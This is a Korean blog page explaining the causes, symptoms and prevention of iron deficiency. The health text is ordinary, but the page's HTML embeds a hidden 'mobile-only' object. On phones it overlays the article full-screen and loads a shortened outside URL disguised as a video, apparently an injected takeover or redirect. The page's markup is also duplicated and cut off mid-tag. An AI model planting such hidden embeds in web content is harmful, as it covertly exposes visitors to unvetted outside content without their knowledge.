철분 부족 증상 이유는 무엇일까?

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c1250497818="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:21">철분 부족 증상 이유와 주요 증상</h2><p data-sourcepos="3:1-3:92">철분은 우리 몸에 필수적인 영양소로, 혈액 속 헤모글로빈을 구성하는 주요 성분입니다. 철분이 부족하면 다양한 증상이 나타날 수 있으며, 이를 철분 결핍이라고 합니다.</p><p data-sourcepos="5:1-5:16"><strong>철분 부족의 주요 원인</strong></p><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:33"><strong>불균형적인 식습관:</strong> 철분이 풍부한 식품 섭취 부족</li> <li data-sourcepos="8:1-8:23"><strong>생리:</strong> 월경으로 인한 철분 손실</li> <li data-sourcepos="9:1-9:39"><strong>임신 및 수유:</strong> 태아 발달 및 모유 생산에 필요한 철분 증가</li> <li data-sourcepos="10:1-10:42"><strong>만성 질환:</strong> 위장관 질환, 신장 질환 등으로 인한 철분 흡수 장애</li> <li data-sourcepos="11:1-12:0"><strong>출혈:</strong> 외상, 수술, 소화기 궤양 등으로 인한 출혈</li> </ul><p data-sourcepos="13:1-13:22"><strong>철분 부족 시 나타나는 주요 증상</strong></p><ul data-sourcepos="15:1-33:0"> <li data-sourcepos="15:1-16:14"><strong>피로감 및 무기력감:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32083"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="피로감 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTagBQedYgUXPfqq8tc2wrnuQm7pI8T1qozSe1U7u_D_FUKrimj7AYp3QagK"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32083" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcR_OGkNY939KtAlXHzryOtz698n7F2zVByGZ2pzU-DnYHBX97Iziqw8jaakLddnCoBJ2aiCSkuHOE0jiO6n6dc0hlfRpX3SiKr2wQ"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">.amc.seoul.kr</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 피로감 </div></div></single-image></response-element></div></li> <li data-sourcepos="17:1-18:17"><strong>창백한 피부:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://hu.pinterest.com/ny09290606/%EC%B0%BD%EB%B0%B1%ED%95%9C-%ED%94%BC%EB%B6%80/"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="창백한 피부 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTzBt5tgzvw_P9r6RCqWQxmMIB8Sbeiq4XvhKtk_rrzqu9Uz7WOdZ-RZK5Nk5VS"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://hu.pinterest.com/ny09290606/%EC%B0%BD%EB%B0%B1%ED%95%9C-%ED%94%BC%EB%B6%80/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTuHrwdrPhCNWX6EGf-Hwh0A1hYkBsFTNTog5ncMZc7A0EPAjhed8KG-74AoR2nqSqobXEHzztdpG_IpHUHV04jNyTHZ2y5wfrzAQ"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">hu.pinterest.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 창백한 피부 </div></div></single-image></response-element></div></li> <li data-sourcepos="19:1-20:15"><strong>숨 가쁨:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1329910/"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="숨 가쁨 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcThoaYzILN-CI5HWY08zmUfJCAE27ZLkjNPfwYwnXi7wnZkJ7zMRyp3rWNPJeVY"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1329910/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 숨 가쁨 </div></div></single-image></response-element></div></li> <li data-sourcepos="21:1-23:15"><strong>두통 및 어지럼증:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c776157568="" class="ng-star-inserted"><single-image _ngcontent-ng-c776157568="" class="carousel-image ng-star-inserted" _nghost-ng-c3800257488="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.post.naver.com/viewer/postView.naver?volumeNo=33723400&amp;memberNo=27861801"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="어지럼증 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRTK_i7esrEMJF-L4DUeVkn-f7UQH8D2SklLydnQQVc2sUU0bb9gDiZQ_8hm1iF"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c776157568="" overlay="" _nghost-ng-c3118331891="" class="ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="auto-hide-side-arrows"><div _ngcontent-ng-c3118331891="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="carousel-dots"><div _ngcontent-ng-c3118331891="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3118331891="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3118331891="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3118331891="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3118331891="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://m.post.naver.com/viewer/postView.naver?volumeNo=33723400&amp;memberNo=27861801" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQNVtNr9oknr-AzE8W5mKM3psCqUClkrFv2ulE1w4IJ0G3AfxTaf8Cs7jj5o7cobE4sQtyxCGM5qbn7fRtVH_WpsoEJEkqJejwxJg"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">m.post.naver.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 어지럼증 </div></div></single-image></image-carousel></response-element></div></li> <li data-sourcepos="24:1-25:17"><strong>손발 차가움:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://post.naver.com/viewer/postView.nhn?volumeNo=26958787&amp;memberNo=22313680"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="손발 차가움 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTWZIAr5fOAZTBXMFV3peNaiBSn7y8jtlur_GvFNEuEQsy7PPa6dxToNhx5whaj"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://post.naver.com/viewer/postView.nhn?volumeNo=26958787&amp;memberNo=22313680" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTSSwQ67KYQm0qnntgPkAfm0v7onWZfVzt2SMpSq659fGhmUuSQ0NRyYKXO1-C3qTLjq0KvP4hWX5qz7oUd-E2JrL02CG3rHiY"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">post.naver.com</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 손발 차가움 </div></div></single-image></response-element></div></li> <li data-sourcepos="26:1-28:17"><strong>집중력 저하 및 기억력 감퇴:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c776157568="" class="ng-star-inserted"><single-image _ngcontent-ng-c776157568="" class="carousel-image ng-star-inserted" _nghost-ng-c3800257488="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://hqcenter.snu.ac.kr/archives/jiphyunjeon/%EC%84%B1%EC%A0%81-%EC%98%AC%EB%A6%AC%EB%8A%94-%EC%A7%91%EC%A4%91%EB%A0%A5-%ED%96%A5%EC%83%81%EB%B2%95"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="집중력 저하 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSZRxmUcRnlVJFGNaTh2Tn3ADr4VhE9MiG0_QtjjAZSESaWaXZWu4-IAZxgFi_4"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c776157568="" overlay="" _nghost-ng-c3118331891="" class="ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="auto-hide-side-arrows"><div _ngcontent-ng-c3118331891="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="carousel-dots"><div _ngcontent-ng-c3118331891="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3118331891="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3118331891="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3118331891="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3118331891="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://hqcenter.snu.ac.kr/archives/jiphyunjeon/%EC%84%B1%EC%A0%81-%EC%98%AC%EB%A6%AC%EB%8A%94-%EC%A7%91%EC%A4%91%EB%A0%A5-%ED%96%A5%EC%83%81%EB%B2%95" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcScbYoTAuW3WIOek-AH8plmrBcdQFQf9kNuUkZssSB3vj4W8KUegLLuHX-AZHRn9amiHEdelOS2ukU-U3g-Qb8B86qlFG89XXC5A3nD"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">hqcenter.snu.ac.kr</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 집중력 저하 </div></div></single-image></image-carousel></response-element></div></li> <li data-sourcepos="29:1-31:16"><strong>손톱 및 발톱 변화:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c776157568="" class="ng-star-inserted"><single-image _ngcontent-ng-c776157568="" class="carousel-image ng-star-inserted" _nghost-ng-c3800257488="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///ele0160/222885930457"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="손톱 변화 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTmXbaR9ulI4VmfAlExmrU8tvdqURXj6C1wFgosAX5zXprtZxH9PUXM192Ix6Je"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c776157568="" overlay="" _nghost-ng-c3118331891="" class="ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="auto-hide-side-arrows"><div _ngcontent-ng-c3118331891="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c3118331891="" class="carousel-dots"><div _ngcontent-ng-c3118331891="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c3118331891="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c3118331891="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c3118331891="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c3118331891="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c3118331891="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s:///ele0160/222885930457" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3c90624dd51c8c83&quot;,&quot;c_a6889701c3257c5f&quot;,null,&quot;rc_500330ef4a99108f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 손톱 변화 </div></div></single-image></image-carousel></response-element></div></li> <li data-sourcepos="32:1-33:0"><strong>이식증:</strong> 흙이나 얼음 등 특이한 물질 섭취 욕구</li> </ul><p data-sourcepos="34:1-34:23"><strong>철분 부족 증상 예방 및 개선 방법</strong></p><ul data-sourcepos="36:1-40:0"> <li data-sourcepos="36:1-36:44"><strong>철분이 풍부한 식품 섭취:</strong> 붉은 살코기, 생선, 녹색 채소, 콩류 등</li> <li data-sourcepos="37:1-37:25"><strong>비타민 C 섭취:</strong> 철분 흡수율 향상</li> <li data-sourcepos="38:1-38:34"><strong>철분 보충제 복용:</strong> 의사 또는 약사와 상담 후 복용</li> <li data-sourcepos="39:1-40:0"><strong>정기적인 건강검진:</strong> 철분 부족 여부 확인</li> </ul><p data-sourcepos="41:1-41:8"><strong>주의사항</strong></p><ul data-sourcepos="43:1-44:50"> <li data-sourcepos="43:1-43:40">철분 부족 증상이 의심될 경우, 반드시 의사 또는 약사와 상담하세요.</li> <li data-sourcepos="44:1-44:50">철분 보충제는 과다 복용 시 부작용이 있을 수 있으므로, 전문가와 상담 후 복용하세요.</li> </ul></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c1250497818="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:21">철분 부족 증상 이유와 주요 증상</h2><p data-sourcepos="3:1-3:92">철분은 우리 몸에 필수적인 영양소로, 혈액 속 헤모글로빈을 구성하는 주요 성분입니다. 철분이 부족하면 다양한 증상이 나타날 수 있으며, 이를 철분 결핍이라고 합니다.</p><p data-sourcepos="5:1-5:16"><strong>철분 부족의 주요 원인</strong></p><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:33"><strong>불균형적인 식습관:</strong> 철분이 풍부한 식품 섭취 부족</li> <li data-sourcepos="8:1-8:23"><strong>생리:</strong> 월경으로 인한 철분 손실</li> <li data-sourcepos="9:1-9:39"><strong>임신 및 수유:</strong> 태아 발달 및 모유 생산에 필요한 철분 증가</li> <li data-sourcepos="10:1-10:42"><strong>만성 질환:</strong> 위장관 질환, 신장 질환 등으로 인한 철분 흡수 장애</li> <li data-sourcepos="11:1-12:0"><strong>출혈:</strong> 외상, 수술, 소화기 궤양 등으로 인한 출혈</li> </ul><p data-sourcepos="13:1-13:22"><strong>철분 부족 시 나타나는 주요 증상</strong></p><ul data-sourcepos="15:1-33:0"> <li data-sourcepos="15:1-16:14"><strong>피로감 및 무기력감:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3800257488="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3800257488="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3763661306="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32083"><span _ngcontent-ng-c3763661306="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3800257488="" class="image loaded" alt="피로감 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTagBQedYgUXPfqq8tc2wrnuQm7pI8T1qozSe1U7u_D_FUKrimj7AYp3QagK"></span><span _ngcontent-ng-c3763661306="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3800257488="" rel="noopener" class="source ng-star-inserted" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32083" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3c90624dd51c8c83","c_a6889701c3257c5f",null,"rc_500330ef4a99108f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3800257488="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcR_OGkNY939KtAlXHzryOtz698n7F2zVByGZ2pzU-DnYHBX97Iziqw8jaakLddnCoBJ2aiCSkuHOE0jiO6n6dc0hlfRpX3SiKr2wQ"><span _ngcontent-ng-c3800257488="" class="label ellipsis gds-label-m-alt">.amc.seoul.kr</span><span _ngcontent-ng-c3800257488="" aria-label=""></span></a></div><div _ngcontent-ng-c3800257488="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 피로감 </div></div></single-image></response-element></div></li> <li data-sourcepos="17:1-18:17"><strong>창백한 피부:</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3800257488="" class="ng-star-inserted"><div _ngcontent-ng-c3800257488="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div 